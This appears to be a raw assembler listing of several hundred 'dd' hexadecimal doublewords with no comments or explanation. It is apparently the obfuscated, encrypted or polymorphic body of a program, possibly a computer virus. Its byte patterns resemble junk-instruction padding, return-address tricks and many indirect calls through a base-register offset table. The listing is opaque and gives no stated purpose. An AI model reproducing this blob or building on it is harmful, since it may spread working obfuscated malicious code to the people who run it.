		dd 66E97245h, 0BBEC981h, 3A83858Dh, 8B60061Dh, 1D319185h
		dd 0A5D18106h, 61391236h, 8166D0FFh, 8B1BB8CAh,	1D1D3DBDh
		dd 0FD858906h, 0C6061D00h, 1D1B2585h, 0E5804406h, 0EC6468AFh
		dd 850FB8F2h, 6, 2D31BD89h, 0B5FF061Dh,	61D11E5h, 0F9CF280h
		dd 858DFABFh, 61D3A83h,	48D0Fh,	0BA660000h, 0FFF512E2h
		dd 32B966D0h, 7585899Fh, 8B061D2Bh, 2585C6D0h, 43061D1Bh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 6AC35646h
		dd 14371F27h, 14E9h, 15C92600h,	0DC6535F9h, 14D11384h
		dd 0B5E88862h, 2BD531D0h, 5840F49h, 66000000h, 47A3EA81h
		dd 764AA768h, 0CE8B66C0h, 11E5B5FFh, 6A061Dh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 16518C3h
		dd 263D8725h, 858D3C1Fh, 61D3A83h, 269D9D89h, 0D0FF061Dh
		dd 13E8h, 0AC69E200h, 0BEC1CFFh, 0BAF2BF4Ah, 50A7CE44h
		dd 744458E0h, 0D6A9B950h, 5A5930A8h, 2A718589h,	6A061Dh
		dd 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 0D8F4E0C3h, 3103A6DBh
		dd 8A0FA266h, 2, 0BF66D38Ah, 0BD806A34h, 61FFA18h, 0C6840F00h
		dd 0F000000h, 68Ch, 618D8900h, 8D061D26h, 1FF9FA85h, 58F0F06h
		dd 66000000h, 9306E981h, 0FBB70F50h, 6AF9016Ah,	0FA8B6600h
		dd 8AF5006Ah, 995FFEEh,	0F061D02h, 68Eh, 0ECA8100h, 0E929C1B9h
		dd 13h,	6069CE2Eh, 0BC158A68h, 0AA6D5E01h, 0FCB0B6ACh
		dd 896DC4F5h, 1D2BA585h, 0AAE4BA06h, 8B667E56h,	6AFF6AD3h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 4EE0C357h, 6684A114h, 0B5FFC88Bh,	61D2BA5h
		dd 1C9B589h, 95FF061Dh,	61D2CD5h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 69C35040h, 0F3B6417Dh, 8F934CE2h
		dd 76BA6636h, 6AC08B66h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 0C110C357h,	0EC04399Ch
		dd 18A98D2Bh, 0BD83061Dh, 61D1669h, 83097500h, 1D0121BDh
		dd 19740006h, 0C08B5350h, 7D1B8h, 69858900h, 8D061D2Ah
		dd 1FA63D9Dh, 5BD3FF06h, 21BD8358h, 61D01h, 53501774h
		dd 7D1B8h, 69858900h, 8D061D2Ah, 1FA32C9Dh, 5BD3FF06h
		dd 299D8958h, 6A061D27h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 4359C351h, 2B87DBBFh
		dd 0FDB58952h, 8B061D2Eh, 2585C6C0h, 47061D1Bh,	8D5958Bh
		dd 0C168061Dh, 8B93C8F7h, 1D25ED8Dh, 0E5B5FF06h, 6A061D11h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 8CD2C357h, 4E1C018Ah, 0AE9h, 6FA38200h, 7595E2B2h
		dd 8B5BCD92h, 83858DD1h, 66061D3Ah, 0FF416AB9h,	14E9D0h
		dd 0ADFE0000h, 41C2D223h, 182DEF8Dh, 25E9C30h, 9E20A020h
		dd 8B50E815h, 1D06758Dh, 3B858D06h, 60061FFEh, 2561850Bh
		dd 8B66061Dh, 0C761F8h,	94h, 1C059D89h,	6A58061Dh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 0F40EC352h, 0A5CAF31Eh, 9589E344h, 61D2111h,	8D8EF580h
		dd 1FFE3BB5h, 68A0F06h,	1000000h, 1D2A85BDh, 0BE95606h
		dd 0D1000000h, 0A998AAD1h, 52F60973h, 0D0FF4429h, 26C1958Bh
		dd 23BA061Dh, 8D3E6E9Dh, 1FFE3B85h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0E950FD5Fh
		dd 0Bh,	97241D61h, 0D5C25EDCh, 5A5A457Eh, 21A19589h, 7883061Dh
		dd 850F0604h, 36h, 6E9h, 0D64D8600h, 0C75A5683h, 1FFECF85h
		dd 106h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 2F2A877Ch, 0BD83D18Bh, 61D109Dh
		dd 4F850F00h, 89000000h, 1D17FDB5h, 0CFBD8306h,	61FFEh
		dd 3C850Fh, 0CE800000h,	11BD8301h, 61D2Dh, 2C840Fh, 85C70000h
		dd 61D3071h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0D2C35343h
		dd 1A2B305Dh, 8C664021h, 11E9DBh, 97520000h, 9075034Ah
		dd 9AF53216h, 3B3B4FAh,	0F6F439ACh, 840F04C3h, 53Ah, 18418D01h
		dd 85C7061Dh, 61D31C1h,	0
		dd 0E800Fh, 89600000h, 1D292DB5h, 0FDB58B06h, 61061D09h
		dd 2ACDBD8Bh, 0BD80061Dh, 61FFA25h, 22850F00h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 8473C357h, 5484D38h, 2585C65Ch, 47061D1Bh
		dd 11E8h, 0D29EA700h, 0ED8BEE0Fh, 1FED9A46h, 677EE77Dh
		dd 12E863F8h, 4B000000h, 0A89146B2h, 524B0DFCh,	13A7176Ch
		dd 0E12989EAh, 819501E8h, 5A061D14h, 5B866859h,	29FCE3E4h
		dd 1D33259Dh, 0E5B5FF06h, 0F061D11h, 2ABAFAB7h,	8D2EA276h
		dd 1D3A8385h, 58D0F06h,	66000000h, 8A7EC181h, 0CB1D0FFh
		dd 10468h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 0B9595F01h, 204D80C8h, 8D897EC5h
		dd 61D13ADh, 0F799D8Dh,	8166061Dh, 53C5EACAh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0A6C35242h, 88C2C37Bh
		dd 8BFD7648h, 1D1B218Dh, 9D31F806h, 61D1881h, 0F08AD0FFh
		dd 0F79858Dh, 9D29061Dh, 61D33A5h, 0D7858D50h, 0F061FF9h
		dd 83h,	50E9B600h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 3FC35242h, 1B568236h,	18B58D89h, 858D061Dh
		dd 61FF0AAh, 418D8960h,	66061D19h, 33FCF681h, 1AB65061h
		dd 0C2195FFh, 0BA66061Dh, 0C483BB69h, 1890F0Ch,	0F9000000h
		dd 8068006Ah, 6A000000h, 6A006A03h, 6800h, 858D8000h, 61FF0AAh
		dd 3D95FF50h, 89061D2Fh, 1FF9BA85h, 2585C606h, 47061D1Bh
		dd 0B15E8768h, 0E5B5FFC7h, 8D061D11h, 1D3A8385h, 6AD0FF06h
		dd 0BAB5FF00h, 0FF061FF9h, 0D98052D0h, 0BF6659A8h, 0D03DD5EDh
		dd 0F000037h, 4183h, 9E800h, 0C250000h,	5CBA9A35h, 314D7221h
		dd 1D214195h, 0B5895F06h, 61D10BDh, 0F9BAB5FFh,	7E9061Fh
		dd 2000000h, 83067DCCh,	95FFEF86h, 61D2A71h, 0F0E9h, 6DBD2900h
		dd 66061D2Ah, 0B5FFD78Bh, 61FF9BAh, 7195FFFCh, 89061D2Ah
		dd 1D00CD8Dh, 0E9006A06h, 0Bh, 0F6E35487h, 0B73A9D84h
		dd 6AB26D96h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 9E999F5h,	0E3000000h, 216A046h, 0B98C77A8h
		dd 63E98166h, 9006ABBh,	1D05F9B5h, 0CDB50106h, 6A061D10h
		dd 0B5B58900h, 6A061D27h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 0E8F3B51Dh
		dd 0Dh,	6D252770h, 0ED84467Fh, 5DA15F59h, 6DBD015Dh, 5F061D05h
		dd 3880Fh, 0B70F0000h, 29006AFAh, 1D143D8Dh, 52C18106h
		dd 8D289066h, 1FF9BE85h, 8D896006h, 61D2119h, 95FF5061h
		dd 61D2F3Dh, 4878BA66h,	0FFFF883h, 16685h, 8B7CB100h, 1D2639BDh
		dd 64858D06h, 0F061FB4h, 383h, 5AF95300h, 7BD958Bh, 0D0FF061Dh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0C3C35343h
		dd 293EF9ACh, 9993F6D8h, 8B006AAEh, 53006AD1h, 300D958Bh
		dd 6A5A061Dh, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 6A5ACEh, 0F9852360h, 8B061D15h, 0AFBF61C2h
		dd 6A4DA691h, 8D015000h, 61D1D5Dh, 0F5006A5Fh, 0F9BE858Dh
		dd 6A061Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 0F76C32C3h, 0FDEDD11h, 683h, 45958900h, 89061D1Dh
		dd 1D32F1B5h, 6A5006h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 0FBC934C3h, 930BC392h, 22B1F85Ch
		dd 2EE28166h, 3D95FF07h, 0F9061D2Fh, 0FFFF883h,	6285h
		dd 0AD8D8B00h, 8D061D01h, 1FF3C6B5h, 0ADBD8B06h, 8D061D1Bh
		dd 1F9F6E85h, 0B58D8B06h, 0FF061D08h, 38F0FD0h,	0F000000h
		dd 6AD1BFh, 0A4A2BA66h,	0FD95FFh, 6A061Dh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 3C57F3C3h
		dd 81CD7B98h, 2D114FD2h, 65BD8953h, 89061D2Ah, 1FF9BA85h
		dd 0C7E1BF06h, 6A07B6h,	1AD5BD03h, 858D061Dh, 61FF9B2h
		dd 0BE950h, 18E30000h, 3F9EEA16h, 48D9AAA8h, 89046A11h
		dd 1D1CD5BDh, 0CEBF0F06h, 29C1858Dh, 0D48A061Dh, 1B58950h
		dd 6A061D16h, 0C2816600h, 6A55EEh, 22DD8589h, 16A061Dh
		dd 0C7D78166h, 0BAB5FFEDh, 0E9061FF9h, 0Ah, 0E941BD4h
		dd 541359A9h, 95FF86CFh, 61D2B75h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 6DC35343h, 10E9B9EEh, 31000000h
		dd 0B224728Eh, 4D2ABD19h, 95195A32h, 0E944025Ah, 1BD6h
		dd 5E9h, 25165D00h, 0C08BBD16h,	69BD83F5h, 61D16h, 0BD830975h
		dd 61D0121h, 50197400h,	0B8C08B53h, 7D2h, 2A698589h, 9D8D061Dh
		dd 61FA63Dh, 585BD3FFh,	121BD83h, 7400061Dh, 0B8535017h
		dd 7D2h, 2A698589h, 9D8D061Dh, 61FA32Ch, 585BD3FFh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 65C35646h, 0EF31AA70h
		dd 29B36461h, 1D02A185h, 71BD3306h, 8B061D32h, 1D267D8Dh
		dd 0C0D1B906h, 0C08B26E9h, 11B98589h, 85C7061Dh, 61D31C1h
		dd 1, 10E9h, 0C7BA4700h, 5E653F91h, 0E95AE2E9h,	82AE8DC6h
		dd 0E7B8681Eh, 0B5FFCEE4h, 61D3355h, 3A83858Dh,	0D0FF061Dh
		dd 1F918589h, 0D468061Dh, 0FFC005DBh, 1D3355B5h, 83858D06h
		dd 0FF061D3Ah, 898589D0h, 8D061D13h, 1FEE6385h,	0B5FF5006h
		dd 61D11E5h, 321995FFh,	0C00B061Dh, 0D88B0B74h,	0FE16858Dh
		dd 0FF50061Fh, 16858DD3h, 66061FFEh, 75093883h,	0F585C70Ah
		dd 1061D06h, 0FF000000h, 1D03C595h, 0FF2506h, 0F8830000h
		dd 0C70A7305h, 1D124D85h, 106h,	0FA8B6600h, 7E9h, 8718DA00h
		dd 73CAE9B6h, 0FA25BD80h, 0F00061Fh, 0D85h, 859D8900h
		dd 0E9061D2Bh, 1A72h, 0BD83D78Bh, 61D06F5h, 9D850F00h
		dd 8D000000h, 1FF9EF85h, 50CB8A06h, 6ACA8B66h, 2D858901h
		dd 6A061D2Ch, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 346F75D0h, 238D4D47h, 0CE86772h
		dd 66000000h, 0D823D3E8h, 0C825A8A0h, 8948CABCh, 1D25ED85h
		dd 9525A06h, 1D08A185h,	6A5F06h, 285B589h, 95FF061Dh, 61D0209h
		dd 0FA198589h, 890F061Fh, 2, 0FF6AF98Bh, 389DB966h, 59D8950h
		dd 5F061D2Dh, 0FA19B5FFh, 8D8B061Fh, 61D1231h, 2CD595FFh
		dd 0BD01061Dh, 61D08BDh, 0EE2A858Dh, 6A50061Fh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 4022C352h, 8597D33Ch, 0BD2BD8F2h, 61D1481h, 2BB195FFh
		dd 9D89061Dh, 61D1619h,	0EEB48589h, 0BD8B061Fh,	61D03ADh
		dd 0EE37858Dh, 0CE9061Fh, 91000000h, 307695Fh, 2AB32DA0h
		dd 2B22BE63h, 1D0BAD95h, 0BE95006h, 0A000000h, 0C0446454h
		dd 621A92D0h, 0B5FF279Eh, 61FEEB4h, 59958951h, 59061D2Ch
		dd 5E9h, 49420000h, 95FF16D8h, 61D3219h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Ch, 61C35141h, 0F4259CADh
		dd 5F23684Fh, 0AB095FBAh, 0D1858941h, 6A061D02h, 3E85500h
		dd 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 0CFF8C355h,	0EEA5858Dh
		dd 0C88B061Fh, 57006A50h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 0B4B5FFECh, 89061FEEh
		dd 1D02E9BDh, 8D958B06h, 0FF061D2Ch, 1D321995h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 3BE57345h, 0EEC88589h, 0B531061Fh, 61D037Dh,	0EE84858Dh
		dd 8D0B061Fh, 61D3159h,	57006A50h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 2452D369h, 0EEEA0692h
		dd 20858531h, 0B5FF061Dh, 61FEEB4h, 10E8h, 26CDBF00h, 146E4CEFh
		dd 20829081h, 87471E20h, 8BF1810Fh, 5A44FDEAh, 321995FFh
		dd 6A061Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 8ADAA4C3h, 2A7E60EFh, 0F98B6680h,	0EEC08589h
		dd 8166061Fh, 8DB3E1EAh, 1FEE7785h, 4AE28106h, 506DF1B4h
		dd 158D8D8Bh, 0B5FF061Dh, 61FEEB4h, 0FFD38B66h,	1D321995h
		dd 61D18106h, 894C7CCAh, 1FEEC485h, 858DFC06h, 61FEE92h
		dd 6E850h, 8C0E0000h, 3F3E9766h, 27A59D01h, 0FF59061Dh
		dd 1FEEB4B5h, 0D2BF0F06h, 321995FFh, 0BD23061Dh, 61D2669h
		dd 89CE8B66h, 1D273D85h, 858DF806h, 61FEE46h, 0D416BF66h
		dd 698D8B51h, 5F061D30h, 51B96650h, 0B4B5FFF4h,	0FF061FEEh
		dd 1D321995h, 12E906h, 0D88A0000h, 21D11621h, 6C32374Dh
		dd 0DEDD11F7h, 879F20A7h, 0EEB88589h, 6A061Fh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 257BF0C3h, 0D1B70F52h, 55858D5Ah, 0B061FEEh,	1D21B595h
		dd 9D895006h, 61D228Dh,	3B96660h, 0E0816628h, 0FF61B81Dh
		dd 1FEEB4B5h, 0FE8B6606h, 321995FFh, 5E9061Dh, 59000000h
		dd 0C53C2A4h, 0EEBC8589h, 952B061Fh, 61D0331h, 10468h
		dd 958B5700h, 61D220Dh,	4C858D5Fh, 81061FEFh, 0D53A62EAh
		dd 8589500Eh, 61D2941h,	0F050858Dh, 0C781061Fh,	19DC078Dh
		dd 0E8BF5650h, 597EE6B4h, 310195FFh, 9E9061Dh, 59000000h
		dd 0DD38F480h, 1DE6FBFh, 80FFB966h, 850FC085h, 2, 0BD80FB8Bh
		dd 61FFA25h, 17850F00h,	8B000000h, 1D14FDBDh, 0BCE28106h
		dd 0E9009F8Eh, 166Eh, 12DD8D8Bh, 0BD83061Dh, 61D06F5h
		dd 14850F00h, 8B000000h, 1D3109BDh, 0CFBD8306h,	61FFEh
		dd 47840Fh, 8DF80000h, 1FEEE985h, 85B52906h, 0E9061D20h
		dd 1636h, 16D59503h, 35E9061Dh,	6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 3ED0C352h
		dd 44BC02A2h, 89A78BD8h, 1D2BD185h, 0D4858D06h,	66061FEEh
		dd 0B9ACC181h, 0CE950h,	83B10000h, 8AAA5B9Bh, 9253685Fh
		dd 9D29518Bh, 61D2A7Dh,	0EF4C858Dh, 8D89061Fh, 61D2D0Dh
		dd 53006A50h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 0ADEC1EF7h, 6131C4B9h, 8ED9589h,	0BD83061Dh
		dd 61D06F5h, 17840F00h,	81000000h, 5D7158DAh, 72858D51h
		dd 8B061FF0h, 1D2EE195h, 0CE906h, 858D0000h, 61FF05Bh
		dd 1C599589h, 6A50061Dh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 4A0DC353h, 2499F961h
		dd 5B73FD3h, 737792B9h,	8D01B54Fh, 1FF0AA85h, 0CD8D8B06h
		dd 50061D16h, 2B298D23h, 95FF061Dh, 61D0C21h, 6541D781h
		dd 83F97637h, 0B1BA10C4h, 0E93C695Bh, 14h, 0ED646B53h
		dd 4B1FCB39h, 0C61C3944h, 732E6D9Ah, 0BA590E04h, 0C2B2C08Bh
		dd 1669BD83h, 7500061Dh, 21BD8309h, 61D01h, 53501974h
		dd 0D3B8C08Bh, 89000007h, 1D2A6985h, 3D9D8D06h,	0FF061FA6h
		dd 83585BD3h, 1D0121BDh, 17740006h, 0D3B85350h,	89000007h
		dd 1D2A6985h, 2C9D8D06h, 0FF061FA3h, 0E9585BD3h, 9, 7C867Eh
		dd 15AC5FAEh, 0CF8B66CEh, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 8E98F9C3h, 69952360h
		dd 0FC061D1Ch, 0CF52B961h, 0BD8143E9h, 61FEED4h, 6165726Fh
		dd 91840Fh, 85090000h, 61D2771h, 0EF4C858Dh, 8D50061Fh
		dd 1FF08985h, 858D5006h, 61FF0AAh, 2195FF50h, 83061D0Ch
		dd 85C60CC4h, 61D1B25h,	184F6844h, 0B5FF96A3h, 61D11E5h
		dd 3A83858Dh, 0D0FF061Dh, 858DD88Bh, 61FF0AAh, 8DD3FF50h
		dd 1FEED485h, 858D5006h, 61FEF4Ch, 0F5BD8350h, 61D06h
		dd 858D0874h, 61FF072h,	858D06EBh, 61FF05Bh, 0AA858D50h
		dd 50061FF0h, 0C2195FFh, 0C483061Dh, 59BD0B10h,	0E9061D2Ah
		dd 7, 4AAFE35Bh, 0FF9CA98Bh, 1D03C595h,	53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
		dd 66048BB7h, 204A22DFh, 0FF25ED18h, 0E8000000h, 0Fh, 0F93FF519h
		dd 47A5DFDFh, 47DE7DD4h, 0F1A94C7h, 8359C8B7h, 830F05F8h
		dd 44h,	0C7C9CA80h, 1D124D85h, 106h, 0BD952B00h, 8D061D07h
		dd 1FEF0885h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 93CA09CFh, 6BE9BEEDh, 0B9000000h
		dd 64E18EE7h, 6F5BD83h,	0F00061Dh, 2A84h, 858DF500h, 61FEF33h
		dd 0C7BF0F60h, 48E961h,	10E80000h, 9F000000h, 0DB0B6BF8h
		dd 75AA4C6Bh, 5F754031h, 803E7AADh, 8D5F30E1h, 1FEF1585h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 0A2718F64h, 925E6C2Bh, 0DED98166h, 8589F9F1h
		dd 61FEF48h, 2C4D9503h,	0BD83061Dh, 61D06F5h, 3C850F00h
		dd 8B000000h, 1D266D95h, 0CFBD8306h, 61FFEh, 31840Fh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 59DEF7C3h, 0BC6D50AAh, 0B9665739h, 0E95950ABh, 1286h
		dd 0E9D68B66h, 494h, 29559503h,	0C08B061Dh, 1669BD83h
		dd 7500061Dh, 21BD8309h, 61D01h, 53501974h, 0D4B8C08Bh
		dd 89000007h, 1D2A6985h, 3D9D8D06h, 0FF061FA6h,	83585BD3h
		dd 1D0121BDh, 17740006h, 0D4B85350h, 89000007h,	1D2A6985h
		dd 2C9D8D06h, 0FF061FA3h, 8B585BD3h, 1D2F3195h,	68F0F06h
		dd 81000000h, 22BA08D2h, 6AC08B63h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 7510C351h
		dd 8B660CAFh, 3F68D6h, 0CA81000Fh, 15E2046Ah, 80AFB966h
		dd 8166006Ah, 6AEF88E9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 98AD656Ch, 6071B3E2h
		dd 2B65B589h, 8589061Dh, 61D11A9h, 850F5261h, 3, 5AFE8B66h
		dd 2D195FFh, 870F061Dh,	5, 0A52FEAB9h, 0FC08521h, 1285h
		dd 0DE900h, 0F3B80000h,	7DB9943Ch, 0BBDFB591h, 89B2AA33h
		dd 1FEECC85h, 5E906h, 95090000h, 6A57994Ah, 0FD8D8900h
		dd 81061D25h, 0A1C1C9D9h, 66006A6Dh, 6AFE8Bh, 26DBD89h
		dd 6A061Dh, 0DE816660h,	9D89D8FBh, 61D0325h, 0F5006A61h
		dd 0F0AA858Dh, 8D89061Fh, 61D1265h, 50006A50h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 6AA9A47Eh
		dd 6A2CB201h, 56006A01h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 0A9934614h, 6ABAEFD4h, 6A4922BEh
		dd 68D78B01h, 0F01FFh, 1C619D89h, 0BD83061Dh, 61D06F5h
		dd 64840F00h, 8B000000h, 1D099595h, 29858D06h, 6A061FEFh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 0E6DAC356h, 0C4FE940Bh, 14E9F8FCh, 0CE000000h
		dd 78F2E5D8h, 608BC312h, 8490737Ah, 3F18E287h, 8BCC9162h
		dd 1FE9CFh, 0F560000h, 685h, 29953100h,	5A061D16h, 1870Fh
		dd 8DF90000h, 1FEEFF85h, 85BA6606h, 10E85083h, 4A000000h
		dd 0ED99A0EFh, 0D35BC25Ch, 0D1339884h, 8B74A0B4h, 1D0BBD95h
		dd 6A505F06h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 4730C352h, 0EECCB5FFh,	0B589061Fh
		dd 61D1489h, 0EEB895FFh, 0CA8B061Fh, 850FC085h,	0Ch, 0F5BD29BFh
		dd 73E940h, 0D38A0000h,	0EED08589h, 0DA80061Fh,	0D0B5FFD1h
		dd 3061FEEh, 1D046195h,	3D95FF06h, 6A061D27h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 0CA15C350h, 7A47DBD7h, 958B60E0h, 61D09A5h, 12C98D89h
		dd 0B961061Dh, 0E69B138h, 850FC085h, 19h, 13880Fh, 0E8600000h
		dd 9, 10C7D3ECh, 0D2A96979h, 5A565FE0h,	8B106A61h, 1D2D3DBDh
		dd 0F5BD8306h, 61D06h, 35840Fh,	6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 9D012AC3h
		dd 61D14C1h, 0EF29858Dh, 0BD0B061Fh, 61D0409h, 14E9h, 8DCA8B00h
		dd 1FEEFF85h, 0A9858906h, 31061D26h, 1D02D595h,	8D8B5006h
		dd 61D25EDh, 0EECCB5FFh, 0E280061Fh, 0C495FF86h, 89061FEEh
		dd 1D12398Dh, 18F0F06h,	0F9000000h, 850FC085h, 1Ch, 0AE8h
		dd 2CECAF00h, 381060C1h, 0F92F649h, 683h, 3DBD8900h, 5A061D06h
		dd 0EED08589h, 8D31061Fh, 61D332Dh, 7FBA006Ah, 893C890Bh
		dd 1D20D585h, 6A006A06h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 7E27C350h, 0B58B5160h
		dd 61D128Dh, 0FD958B58h, 61061D28h, 7D4539BAh, 0D0B5FF79h
		dd 57061FEEh, 758D8960h, 0B061D07h, 1D292D9Dh, 0FF5F6106h
		dd 1FEEBC95h, 858B6006h, 61D319Dh, 2BE19589h, 0E961061Dh
		dd 10h,	591EDA60h, 6DA786Ah, 8EFD5262h,	7841E7E6h, 850FC085h
		dd 18h,	13E9h, 5C3D7500h, 0DF2EC1B2h, 0C51A07FAh, 29079FA0h
		dd 85F945A7h, 0EED0B5FFh, 0DE9061Fh, 79000000h,	0D1CBABC1h
		dd 593E299Ch, 0ED83C3CAh, 273D95FFh, 6A061Dh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 6605AAC3h
		dd 8B66CA8Bh, 0FC085CFh, 385h, 0D68B6600h, 0CA81006Ah
		dd 5AC5EBD3h, 8068h, 6A036A00h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 4CE4C351h, 0E1E465CDh
		dd 0FC6A41Dh, 6AD0B7h, 0AE8h, 724A8400h, 766FC7A8h, 806DBD9Ah
		dd 6A59C1DAh, 68F800h, 80C00000h, 0B5FF55DAh, 61FEF48h
		dd 8D8B6052h, 61D2E99h,	3B9BD09h, 5A61061Dh, 2F3D95FFh
		dd 8B60061Dh, 1D28E98Dh, 959D8B06h, 61061D08h, 2785C3BFh
		dd 0FFF88320h, 6C7850Fh, 830F0000h, 1, 8D8B51FCh, 61D049Dh
		dd 0B685FF59h, 6A061FF9h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 0B967C353h,	0E28155Eh
		dd 0CF8B8EF5h, 83D78B66h, 1FF9B6BDh, 840F0206h,	4EDh, 12A18501h
		dd 858D061Dh, 5AF59Fh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 9CC35141h, 0FA8BCD42h, 14810Fh, 0E9510000h
		dd 0Dh,	0FC9F4F61h, 0C622435Ah,	0CB4C3A30h, 0D0FF5F20h
		dd 21258D89h, 858D061Dh, 5AEFF2h, 15959529h, 0D0FF061Dh
		dd 1949958Bh, 0C08B061Dh, 1BEDBD0Bh, 9BF061Dh, 831C4BDDh
		dd 1D1669BDh, 9750006h,	121BD83h, 7400061Dh, 8B535019h
		dd 7D8B8C0h, 85890000h,	61D2A69h, 0A63D9D8Dh, 0D3FF061Fh
		dd 0BD83585Bh, 61D0121h, 50177400h, 7D8B853h, 85890000h
		dd 61D2A69h, 0A32C9D8Dh, 0D3FF061Fh, 52F9585Bh,	1B61958Bh
		dd 8B5F061Dh, 4820FC0h,	66000000h, 68F8A4BAh, 0F003Fh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0BAC35545h
		dd 43E30F1Dh, 669BA1F5h, 6A7442BFh, 74D2BA00h, 6A3178h
		dd 20F5BD33h, 95FF061Dh, 61D02D1h, 8DB58B60h, 81061D13h
		dd 96ECA7C1h, 0C0856178h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 4FC35141h, 0E78DC94Eh, 0D024888Eh, 0B9BD8Bh
		dd 0AFB1061Dh, 0EECC8589h, 0BD89061Fh, 61D2589h, 0F01FF68h
		dd 0FE800h, 0BE810000h,	705974B0h, 0FE3488FEh, 94C55664h
		dd 14E880h, 29780000h, 0CF9F1842h, 2675C11Bh, 17F40DC7h
		dd 4BAE749Fh, 0BF668545h, 5F593840h, 0DE8h, 5D94C000h
		dd 4C35F612h, 0D2D8D54Ch, 8D8953B9h, 61D2009h, 0F5BD835Ah
		dd 61D06h, 62840Fh, 0BF660000h,	858DFAA0h, 61FEF29h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 96C35747h, 2411AC9Bh
		dd 0AF8D8CBh, 25BD89F6h, 0E9061D02h, 4Ah, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Bh, 70C35040h, 18081BB8h
		dd 662FF445h, 5CF5E781h, 0EEFF858Dh, 6A061Fh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 8950DDC3h
		dd 1D3085BDh, 0CCB5FF06h, 6A061FEEh, 3E85700h, 20000000h
